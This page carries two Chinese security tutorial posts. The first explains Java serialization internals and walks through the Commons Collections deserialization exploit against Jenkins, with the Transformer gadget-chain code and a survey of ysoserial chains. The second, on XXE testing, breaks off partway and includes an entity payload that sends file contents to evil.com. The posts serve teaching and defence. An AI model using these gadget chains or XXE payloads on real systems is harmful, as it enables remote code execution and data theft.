  7. 写入非私有方法,包括方法名、方法访问权限标识和方法签名,按方法名和方法签名排序MemberSignature[] methSigs = new MemberSignature[methods.length]; for (int i = 0; i < methods.length; i++) { methSigs[i] = new MemberSignature(methods[i]); } Arrays.sort(methSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2) { int comp = ms1.name.compareTo(ms2.name); if (comp == 0) { comp = ms1.signature.compareTo(ms2.signature); } return comp; } }); for (int i = 0; i < methSigs.length; i++) { MemberSignature sig = methSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature.replace(‘/’, ‘.’)); } }

以上就是SUID中包含的类的所有信息,得到的二进制串如下:

00 11 53 65 72 69 61 6c  69 7a 61 74 69 6f 6e 44    ..Serial izationD
65 6d 6f 00 00 00 01 00  14 6a 61 76 61 2e 69 6f    emo..... .java.io
2e 53 65 72 69 61 6c 69  7a 61 62 6c 65 00 08 69    .Seriali zable..i
6e 74 46 69 65 6c 64 00  00 00 02 00 01 49 00 0b    ntField. .....I..
73 74 72 69 6e 67 46 69  65 6c 64 00 00 00 02 00    stringFi eld.....
12 4c 6a 61 76 61 2f 6c  61 6e 67 2f 53 74 72 69    .Ljava/l ang/Stri
6e 67 3b 00 06 3c 69 6e  69 74 3e 00 00 00 01 00    ng;..<in it>.....
16 28 4c 6a 61 76 61 2e  6c 61 6e 67 2e 53 74 72    .(Ljava. lang.Str
69 6e 67 3b 49 29 56 00  04 6d 61 69 6e 00 00 00    ing;I)V. .main...
09 00 16 28 5b 4c 6a 61  76 61 2e 6c 61 6e 67 2e    ...([Lja va.lang.
53 74 72 69 6e 67 3b 29  56                         String;)V

最后,将二进制数据通过SHA1算法得到摘要,取前8位按BigEndian的字节顺序转换成长整型:

long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
    hash = (hash << 8) | (hashBytes[i] & 0xFF);
}

返回的hash就是最终的SUID了。

由此可知,当父类或非原始数据类型字段的类内部发生变更时,并不会影响当前类的SUID值,再结合之前的内容我们还可以引申出两个结论:

  1. 若当前类自定义了readObject(),在反序列化时会正常执行readObject()中所有ObjectInputStream.defaultReadObject() (如果调用了的话) 之前的逻辑;否则在处理到变更对象时,仍会抛出InvalidClassException
  2. 由于序列化会对类的字段进行排序,并在反序列化时按顺序遍历处理,所以反序列化会正常处理字段名比变更对象类型字段『小』的其他字段

关于writeReplace()readResolve()

在前面的执行流程分析中,为了突出主要逻辑,我们主观的忽略了一些内容,其中就包括了序列化的invokeWriteReplace()和反序列化的invokeReadResolve()

现在就来看看它们分别有什么作用:

  • writeReplace()返回一个对象,该对象为实际被序列化的对象,在原对象序列化之前被调用,替换原对象成为待序列化对象
  • readResolve()返回一个对象,该对象为实际反序列化的结果对象,在原对象反序列化之后被调用,不影响原对象的反序列化过程,仅替换结果

再从具体示例来体会一下:

public class SerializationReplacementClass implements Serializable {
    protected String replacementField;

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
    }

    private Object readResolve() {
        return new SerializationReplacementClass("resolve");
    }

    private SerializationReplacementClass(String s) {
        this.replacementField = s;
    }

    public SerializationReplacementClass() {
        this.replacementField = "replace";
    }
}

public class SerializationDemo implements Serializable {
    // omit
    private Object writeReplace() {
        return new SerializationReplacementClass();
    }
    // omit

    public static void main(String[] args) throws ClassNotFoundException {
        // omit
        SerializationReplacementClass demo = (SerializationReplacementClass) in.readObject();
    }
}

从序列化之后得到的二进制串中可以看到目标对象已经被替换成了SerializationReplacementClass

ac ed 00 05 73 72 00 1d  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 52 65 70  6c 61 63 65 6d 65 6e 74    ationRep lacement
43 6c 61 73 73 32 71 ac  e9 c1 d3 0b 7b 02 00 01    Class2q. ....{...
4c 00 10 72 65 70 6c 61  63 65 6d 65 6e 74 46 69    L..repla cementFi
65 6c 64 74 00 12 4c 6a  61 76 61 2f 6c 61 6e 67    eldt..Lj ava/lang
2f 53 74 72 69 6e 67 3b  78 70 74 00 07 72 65 70    /String; xpt..rep
6c 61 63 65                                         lace

而在反序列化之后得到的对象的replacementField字段值则为resolve,但在此之前readObject()也会被正常调用,当时replacementField字段值为replace

关于Externalizable

Serializable接口还有一个比较常见的子类Externalizable,它比它爸爸特殊的地方就在于它需要自己实现读写方法 readExternal()writeExternal() ,同时必须包含一个自己的无参构造方法 (默认隐式的也可以) 。

仍以示例说话:

public class ExternalizationDemo implements Externalizable {
    private String stringField;
    private int intField;

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeUTF(this.stringField);
        out.writeInt(this.intField);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException {
        this.stringField = "hello, i'm " + in.readUTF();
        this.intField = in.readInt() + 100000;
    }

    public ExternalizationDemo(String s, int i) {
        this.stringField = s;
        this.intField = i;
    }

    public ExternalizationDemo() {}
}

序列化之后得到的二进制串如下:

ac ed 00 05 73 72 00 13  45 78 74 65 72 6e 61 6c    ....sr.. External
69 7a 61 74 69 6f 6e 44  65 6d 6f d9 a9 04 75 84    izationD emo...u.
5d 06 8f 0c 00 00 78 70  77 0b 00 05 67 79 79 79    ].....xp w...gyyy
79 00 01 7d f1 78                                   y..}.x

Serializable的区别:

  • 对象的序列化属性标志位为0x0c,包括Serializable和Block Data的标志
  • 序列化类的字段个数固定为0
  • 序列化调用writeExternalData()转给类自定义的写方法,将写入的数据包装在新的Block Data块中,第一个字节为块长度 (不含块头尾标识)
  • 反序列化调用readExternalData()转给类自定义的读方法,再调用对象的无参构造方法 (若不存在,则返回null 进行实例化

反序列化漏洞

通过以上对Java的序列化机制的大致了解,我们可以想象一个场景 (有基础的同学可以跳过本部分内容,当然,看一看也没坏处) :

当服务端允许接收远端数据进行反序列化时,客户端可以提供任意一个服务端存在的对象 (包括依赖包中的对象) 的序列化二进制串,由服务端反序列化成相应对象。如果该对象是由攻击者『精心构造』的恶意对象,而它自定义的readObject()中存在着一些『不安全』的逻辑,那么在对它反序列化时就有可能出现安全问题。

说到这,我提三个问题,请大家跟着我的思路去分析,先来看看第一个:

  1. 为什么需要依赖反序列化对象的自定义readObject()

大家都知道,正常来说,反序列化只是一个对象实例化然后赋值的过程,如果之后不主动调用它的内部方法,理论上最多只能控制它字段的值而已。那么有没有什么办法能够让它执行反序列化以外的逻辑呢?毕竟做的越多中间产生问题的概率就越大。

我们还是先以大家更熟悉的PHP来举个例。在PHP内部,保留了十多个被称为魔术方法的类方法,这些魔术方法一般会伴随着类的生命周期被PHP底层自动调用,用户可以在类中显式定义它们的逻辑。

就拿与反序列化关系最密切的__wakeup()来说,我们回到最初的那个类SerializationDemo,给它加一点东西:

class SerializationDemo {
    public function __wakeup() {
        echo $this->stringField;
    }
}

在反序列化SerializationDemo这个对象时,就会调用__wakeup()执行里面的逻辑。示例中的逻辑只是输出一个字符串,如果改成exec($this->stringField);呢?

实际当然不会这么简单,有可能它是把自己的字段作为值作为参数调用了某个类的方法,而那个方法里对参数做了某些不安全的操作,甚至有可能经过多个类多个方法调用,形成一个调用链。

这就是默认的反序列化逻辑的一个逃逸过程。

到这里你可能已经想到了,Java反序列化中readObject()的作用其实就相当于PHP反序列化中的那些魔术方法,使反序列化过程在一定程度上受控成为可能,但也只是可能而已,是否真的可控,还是需要分析每个对象的readObject()具体是如何实现的 (别急,后面有章节会有详细介绍) 。

接着看第二个问题:

  1. 反序列化对象的非Serializable父类无参构造方法是否能像PHP中的__construct()一样被利用?

答案应该是不行的。因为前面已经提到过,我们只能够控制反序列化对象的字段值,而Java与PHP不同的是,JDK底层会先调用无参构造方法实例化,再读取序列化的字段数据赋值,所以我们没有办法将可控的字段值在实例化阶段传入构造方法中对其内部逻辑产生影响。

最后一个:

  1. readResolve()对反序列化漏洞有什么影响?

readResolve()只是替换反序列化结果对象,若是结果对象本身存在安全问题,它有可能让问题中断;若是readObject()存在安全问题,它无法避免。

经典的Apache Commons Collections

好,有了上面的基础,我们也照一回惯例,带大家一起分析一下Java历史上最出名也是最具代表性的Apache Commons Collections反序列化漏洞。

网上很多文章都是以WebLogic为漏洞环境,我们尊重开源,围绕1.637版本的Jenkins来开个头,先简单看看它的Cli组件的反序列化场景 (这里只以CLI-connect协议为例,CLI2-connect会多出来一个SSL加解密的过程,这也是很多公开PoC在模拟Cli握手时选择CLI-connect协议的原因) :

  1. 客户端向发送一个UTF8字符串Protocol:CLI-connect,前两位为字符串长度
  2. 服务端TcpSlaveAgentListener在接收到数据之后,会创建一个ConnectionHandler对象读取一个UTF8字符串,判断协议版本,交给对应的协议进行处理
    • CliProtocol响应Welcome字符串,由ChannelBuilder为两端创建一个包含了Connection对象 (IO流对象在里面) 的Channel通信通道,并调用negotiate()进行交互
      • Capability.writePreamble()响应序列化后的Capability对象,其中使用Mode.TEXT.wrap()将输出流包装为BinarySafeStream,它会在写时进行Base64编码
      • 由于ChannelBuilder在build之前,调用了withMode()设置modeMode.BINARY,因此还会响应一个0x00000000
      • 等待接收后续数据,判断数据内容前缀为Capability.PREAMBLE<===[JENKINS REMOTING CAPACITY]===> 时,将InputStream传给Capability.read()
        • Capability同样会对输入流做一次BinarySafeStream包装,保证在读数据时解码得到原始二进制数据,再扔给输入流的readObject()继续读

回看Connection中自定义的readObject(),是一个普普通通的ObjectInputStream反序列化:

public <T> T readObject() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(in);
    return (T)ois.readObject();
}

现在我们假设已知1.637版本的Jenkins引用了存在反序列化漏洞的Commons Collections的版本的Jar包,那么只需要利用它构造一个恶意对象的序列化串,在与Jenkins Cli完成握手之后,将其Base64编码后的字符串发送过去就行了 (当然,千万别忘了前面那串酷酷的前缀) 。

Payload构造

好的,现在让我们聚焦到Commons Collections内部,看看前辈们是如何利用它来让应用『产生』问题的。

我们先预备一个基本知识,在Java中,若想通过其原生JDK提供的接口执行系统命令,最常见的语句如下:

Runtime rt = Runtime.getRuntime();
rt.exec(cmd);

很简单,一个单例模式的方法获取到Runtime的实例,再调用它的exec()执行命令。在表达式注入类RCE漏洞中也可以频繁看到利用各种条件特性来构造这段语句的身影,比如Struts2的OGNL:

@java.lang.Runtime@getRuntime().exec(cmd)

又比如Spring的SpEL:

T(java.lang.Runtime).getRuntime().exec(cmd)

这里替小白问个基础但又和接下来的内容有关的问题:为什么都要使用链式结构?

原因其实很简单,因为无论是表达式解析执行还是反序列化时,底层通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。你也可以换个方式问自己,如果你第一次请求Runtime.getRuntime(),那如何保证第二次请求rt.exec()能够拿到第一次的Runtime对象呢?

了解了这个问题之后,我们就可以开始尝试用Commons Collections先来构造这个链式结构了。

前辈们为我们在Commons Collections中找到了一个用于对象之间转换的Transformer接口,它有几个我们用得着的实现类:

  1. ConstantTransformerpublic ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
  2. InvokerTransformerpublic InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { // omit Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); // omit }
  3. ChainedTransformerpublic ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }

利用这几个对象,可以构造出下面这条链:

Transformer[] trans = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
Transformer chain = new ChainedTransformer(trans);

其中,数组的中间两个元素是最让人费解的,我们一句一句来解释 (前方高能预警,请对照上面几个Transformer的逻辑仔细看,接下来的内容网上有些解释是存在出入的) :

  1. 构造一个ConstantTransformer,把RuntimeClass对象传进去,在transform()时,始终会返回这个对象
  2. 构造一个InvokerTransformer,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入1的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,clsjava.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象
  3. 构造一个InvokerTransformer,待调用方法名为invoke,参数为空,在transform()时,传入2的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke方法,实际上是调用上面的getRuntime()拿到Runtime对象
  4. 构造一个InvokerTransformer,待调用方法名为exec,参数为命令字符串,在transform()时,传入3的结果,获取java.lang.Runtimeexec方法并传参调用
  5. 最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求

既然第2、3步这么绕,我们又知道了为什么,是不是可以考虑用下面这种逻辑更清晰的方式来构造呢:

Transformer[] trans = new Transformer[] {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};

答案是不行的。虽然单看整个链,无论是定义还是执行都是没有任何问题的,但是在后续序列化时,由于Runtime.getRuntime()得到的是一个对象,这个对象也需要参与序列化过程,而Runtime本身是没有实现Serializable接口的,所以会导致序列化失败。

也有同学可能看过ysoserial构造的Payload,它的习惯是先定义一个包含『无效』TransformerChainedTransformer,等所有对象装填完毕之后再利用反射将实际的数组放进去。这么做的原因作者也在一个Issue中给了解释,我们直接看原文:

Generally any reflection at the end of gadget-chain set up is done to “arm” the chain because constructing it while armed can result in premature “detonation” during set-up and cause it to be inert when serialized and deserialized by the target application.

现在,有了这条Transformer链,就等着谁来执行它的transform()了。

网上流传的示例很多都是使用一个名为TransformedMap的装饰器来触发transform(),它在装饰时会传入原始Map、一个键转换器Transformer和一个值转换器Transformer,而它的父类在内部实现了一个AbstractMapEntryDecorator的子类,会在setValue()前调用checkSetValue()进行检查,而TransformedMap.checkSetValue()会调用它的值转换器的transform(),因此装饰任意一个有元素的Map就可以满足需求:

Map m = TransformedMap.decorate(new HashMap(){{ put("value", "anything"); }}, null, chain);

这时,我们只需要再找一个包含可控Map字段,并会在反序列化时对这个Map进行setValue()get()操作的公共对象。

幸运的是,前辈们在JDK较早的版本中发现了AnnotationInvocationHandler这个对象 (较新版本的JDK可以使用BadAttributeValueExpException,在这里就不展开了) ,它在初始化时可以传入一个Map类型参数赋值给字段memberValuesreadObject()过程中如果满足一定条件就会对memberValues中的元素进行setValue()

private void readObject(java.io.ObjectInputStream s)
    s.defaultReadObject();

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

可以看到,在遍历memberValues.entrySet()时,会用键名在memberTypes中尝试获取一个Class,并判断它是否为null,这就是刚才说的需要满足的条件。接下来是网上很少提到过的一个结论:

首先,memberTypesAnnotationType的一个字段,里面存储着Annotation接口声明的方法信息 (键名为方法名,值为方法返回类型) 。因此,我们在获取AnnotationInvocationHandler实例时,需要传入一个方法个数大于0的Annotation子类 (一般来说,若方法个数大于0,都会包含一个名为value的方法) ,并且原始Map中必须存在任意以这些方法名为键名的元素,才能顺利进入setValue()的流程:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, m);

以上是TransformedMap的利用构造过程。而ysoserial官方更倾向于使用LazyMap作为装饰器,它在装饰时会传入原始Map和一个Transformer作为工厂,当get()获取值时,若键不存在,就会调用工厂的transform()创建一个新值放入Map中,因此装饰任意一个空Map也可以满足需求:

Map m = LazyMap.decorate(new HashMap(), chain);

但与TransformedMap不同的是,AnnotationInvocationHandler.readObject()中并没有直接的对memberTypes执行get()操作,反而是在它的invoke()中存在get(),但又对方法名有一定的要求:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    Object result = memberValues.get(member);
    // omit
}

所以,ysoserial使用Java动态代理的方式处理了LazyMap,使readObject()在调用memberValues.entrySet()时代理进入AnnotationInvocationHandler.invoke()阶段,刚好方法名entrySet也可以顺利的跳过前面的几个判断条件,最终达到目的。这也是为什么Payload中会包含两个AnnotationInvocationHandler的原因。

修复方案

Jenkins在1.638版本的Connection.readObject()中,将默认的ObjectInputStream改为了其自定义的子类ObjectInputStreamEx,并传入ClassFilter.DEFAULT校验过滤:

public <T> T readObject() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStreamEx(in,
            getClass().getClassLoader(), ClassFilter.DEFAULT);
    return (T)ois.readObject();
}

ClassFilter.DEFAULT长这样:

public static final ClassFilter DEFAULT = new ClassFilter() {
    protected boolean isBlacklisted(String name) {
        if (name.startsWith("org.codehaus.groovy.runtime.")) {
            return true;
        } else if (name.startsWith("org.apache.commons.collections.functors.")) {
            return true;
        } else {
            return name.contains("org.apache.xalan");
        }
    }
};

还是一个简简单单的黑名单。

POP的艺术

既然反序列化漏洞常见的修复方案是黑名单,就存在被绕过的风险,一旦出现新的POP链,原来的防御也就直接宣告无效了。

所以在反序列化漏洞的对抗史中,除了有大佬不断的挖掘新的反序列化漏洞点,更有大牛不断的探寻新的POP链。

POP已经成为反序列化区别于其他常规Web安全漏洞的一门特殊艺术。

既然如此,我们就用ysoserial这个项目,来好好探究一下现在常用的这些RCE类POP中到底有什么乾坤:

  • BeanShell1
    • 命令执行载体:bsh.Interpreter
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()反序列化所有元素后,通过comparator.compare()进行排序,该comparator被代理给XThis.Handler处理,其invoke()会调用This.invokeMethod()Interpreter解释器中解析包含恶意代码的compare方法并执行
  • C3P0
    • 命令执行载体:bsh.Interpreter
    • 反序列化载体:com.mchange.v2.c3p0.PoolBackedDataSource
    • PoolBackedDataSource.readObject()进行到父类PoolBackedDataSourceBase.readObject()阶段,会调用ReferenceIndirector$ReferenceSerialized.getObject()获取对象,其中InitialContext.lookup()会去加载远程恶意对象并初始化,导致命令执行,有些同学可能不太清楚远程恶意对象的长相,举个简单的例子:public class Malicious { public Malicious() { java.lang.Runtime.getRuntime().exec(“calc.exe”); } }
  • Clojure
    • 命令执行载体:clojure.core$comp$fn__4727
    • 反序列化载体:HashMap
    • HashMap.readObject()反序列化各元素时,通过它的hashCode()得到hash值,而AbstractTableModel$ff19274a.hashCode()会从IPersistentMap中取hashCode键的值对象调用其invoke(),最终导致Clojure Shell命令字符串执行
  • CommonsBeanutils1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()执行排序时,BeanComparator.compare()会根据BeanComparator.property (值为outputProperties 调用TemplatesImpl.getOutputProperties(),它在newTransformer()时会创建AbstractTranslet实例,导致精心构造的Java字节码被执行
  • CommonsCollections1
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:AnnotationInvocationHandler
    • 见前文
  • CommonsCollections2
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()执行排序时,TransformingComparator.compare()会调用InvokerTransformer.transform()转换元素,进而获取第一个元素TemplatesImplnewTransformer()并调用,最终导致命令执行
  • CommonsCollections3
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:AnnotationInvocationHandler
    • Transformer数组元素组成不同外,与CommonsCollections1基本一致
  • CommonsCollections4
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()执行排序时,TransformingComparator.compare()会调用ChainedTransformer.transform()转换元素,进而遍历执行Transformer数组中的每个元素,最终导致命令执行
  • CommonsCollections5
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:BadAttributeValueExpException
    • BadAttributeValueExpException.readObject()System.getSecurityManager()null时,会调用TiedMapEntry.toString(),它在getValue()时会通过LazyMap.get()取值,最终导致命令执行
  • CommonsCollections6
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:HashSet
    • HashSet.readObject()反序列化各元素后,会调用HashMap.put()将结果放进去,而它通过TiedMapEntry.hashCode()计算hash时,会调用getValue()触发LazyMap.get()导致命令执行
  • Groovy1
    • 命令执行载体:org.codehaus.groovy.runtime.MethodClosure
    • 反序列化载体:AnnotationInvocationHandler
    • AnnotationInvocationHandler.readObject()在通过memberValues.entrySet()获取Entry集合,该memberValues被代理给ConvertedClosure拦截entrySet方法,根据MethodClosure的构造最终会由ProcessGroovyMethods.execute()执行系统命令
  • Hibernate1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:HashMap
    • HashMap.readObject()通过TypedValue.hashCode()计算hash时,ComponentType.getPropertyValue()会调用PojoComponentTuplizer.getPropertyValue()获取到TemplatesImpl.getOutputProperties方法并调用导致命令执行
  • Hibernate2
    • 命令执行载体:com.sun.rowset.JdbcRowSetImpl
    • 反序列化载体:HashMap
    • 执行过程与Hibernate1一致,但Hibernate2并不是传入TemplatesImpl执行系统命令,而是利用JdbcRowSetImpl.getDatabaseMetaData()调用connect()连接到远程RMI
  • JBossInterceptors1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.jboss.interceptor.proxy.InterceptorMethodHandler
    • InterceptorMethodHandler.readObject()executeInterception()时,会根据SimpleInterceptorMetadata拿到TemplatesImpl放进ArrayList中,并传入SimpleInterceptionChain进行初始化,它在调用invokeNextInterceptor()时会导致命令执行
  • JSON1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:HashMap
    • HashMap.readObject()将各元素放进HashMap时,会调用TabularDataSupport.equals()进行比较,它的JSONObject.containsValue()获取对象后在PropertyUtils.getProperty()内动态调用getOutputProperties方法,它被代理给CompositeInvocationHandlerImpl,其中转交给JdkDynamicAopProxy.invoke(),在AopUtils.invokeJoinpointUsingReflection()时会传入从AdvisedSupport.target字段中取出来的TemplatesImpl,最终导致命令执行
  • JavassistWeld1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
    • 除JBoss部分包名存在差异外,与JBossInterceptors1基本一致
  • Jdk7u21
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:LinkedHashSet
    • LinkedHashSet.readObject()将各元素放进HashMap时,第二个元素会调用equals()与第一个元素进行比较,它被代理给AnnotationInvocationHandler进入equalsImpl(),在getMemberMethods()遍历TemplatesImpl的方法遇到getOutputProperties进行调用时,导致命令执行
  • MozillaRhino1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:BadAttributeValueExpException
    • BadAttributeValueExpException.readObject()调用NativeError.toString()时,会在ScriptableObject.getProperty()中进入getImpl()ScriptableObject$Slot根据name获取到封装了Context.enter方法的MemberBox,并通过它的invoke()完成调用,而之后根据message调用TemplatesImpl.newTransformer()则会导致命令执行
  • Myfaces1
    • 命令执行载体:org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
    • 反序列化载体:HashMap
    • HashMap.readObject()通过ValueExpressionMethodExpression.hashCode()计算hash时,会由getMethodExpression()调用ValueExpression.getValue(),最终导致EL表达式执行
  • Myfaces2
    • 命令执行载体:org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
    • 反序列化载体:HashMap
    • 执行过程与Myfaces1一致,但Myfaces2的EL表达式并不是由使用者传入的,而是预制了一串加载远程恶意对象的表达式
  • ROME
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:HashMap
    • HashMap.readObject()通过ObjectBean.hashCode()计算hash时,会在ToStringBean.toString()阶段遍历TemplatesImpl所有字段的Setter和Getter并调用,当调用到getOutputProperties()时将导致命令执行
  • Spring1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
    • SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()在调用TypeProvider.getType()时被代理给AnnotationInvocationHandler得到另一个Handler为AutowireUtils$ObjectFactoryDelegatingInvocationHandler的代理,之后传给ReflectionUtils.invokeMethod()动态调用newTransformer方法时被第二个代理拦截,它的objectFactory字段是第三个代理,因此objectFactory.getObject()会获得TemplatesImpl,最终导致命令执行
  • Spring2
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
    • SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()在动态调用newTransformer方法时,被第二个代理拦截交给JdkDynamicAopProxy,它在AopUtils.invokeJoinpointUsingReflection()时会传入从AdvisedSupport.targetSource字段中取出来的TemplatesImpl,最终导致命令执行

根据上面这些内容,我们可以得到几条简单的POP构造法则:

  1. 当依赖中不存在可以执行命令的方法时,可以选择使用TemplatesImpl作为命令执行载体,并想办法去触发它的newTransformergetOutputProperties方法
  2. 可以作为入口的通用反序列化载体是HashMapAnnotationInvocationHandlerBadAttributeValueExpExceptionPriorityQueue,它们都是依赖较少的JDK底层对象,区别如下:
    • HashMap,可以主动触发元素的hashCodeequals方法
    • AnnotationInvocationHandler,可以主动触发memberValues字段的entrySet方法,本身也可以作为动态代理的Handler进入自己的invoke方法
    • BadAttributeValueExpException,可以主动触发val字段的toString方法
    • PriorityQueue,可以主动触发comparator字段的compare方法

总结

历年来,很多流行的Java组件框架都被爆出过反序列化漏洞,这已经有好多大牛们都进行过分析总结了,本文的主要目的也不在此,而是为了去深挖反序列化漏洞底层一些可能还没有被唤醒的地方。

不过有一点要切记,反序列化不止RCE。from

参考

  1. JavaSE Document
  2. Java OpenJDK Source Code
  3. Java OpenJDK Github Mirror

使用RouterSploit控制路由器 入侵路由器

The post java反序列化漏洞 和 Java序列化机制浅析 appeared first on 🔰雨苁ℒ🔰.

XXE漏洞的挖掘方法与防护 常见的漏洞类型

$
0
0

XXE漏洞的挖掘方法与防护 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成
你的Web应用是否存在XXE漏洞?
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它

1.简单挖掘方法

XXE漏洞详解 XXE漏洞是什么 XXE漏洞如何防范

提交POST请求XML文件

提交一个POST请求,请求头加上Content-type:application/xml

同时添加测试代码

<?xml version="1.0"encoding="utf-8"?>
 
<test>cat</test>

通过OOB(Out-of-band)方法远程访问文件测试

1.   自建一个网站开启80端口

2.   在测试网站提交payload,如下

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">]>   <GeneralSearch>&dtgmlf6ent;</GeneralSearch>

3.查看网站返回内容

4.查看自建服务器访问日志,是否有DTD文件等请求

2.确认XXE漏洞

出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:

请求:

XXE漏洞的挖掘方法与防护

响应:

XXE漏洞的挖掘方法与防护

观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求

修改后的请求和响应:

XXE漏洞的挖掘方法与防护

如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">
 %payload;
<?xml version="1.0" encoding="utf-8"?>
 
 <!DOCTYPE root[  
 
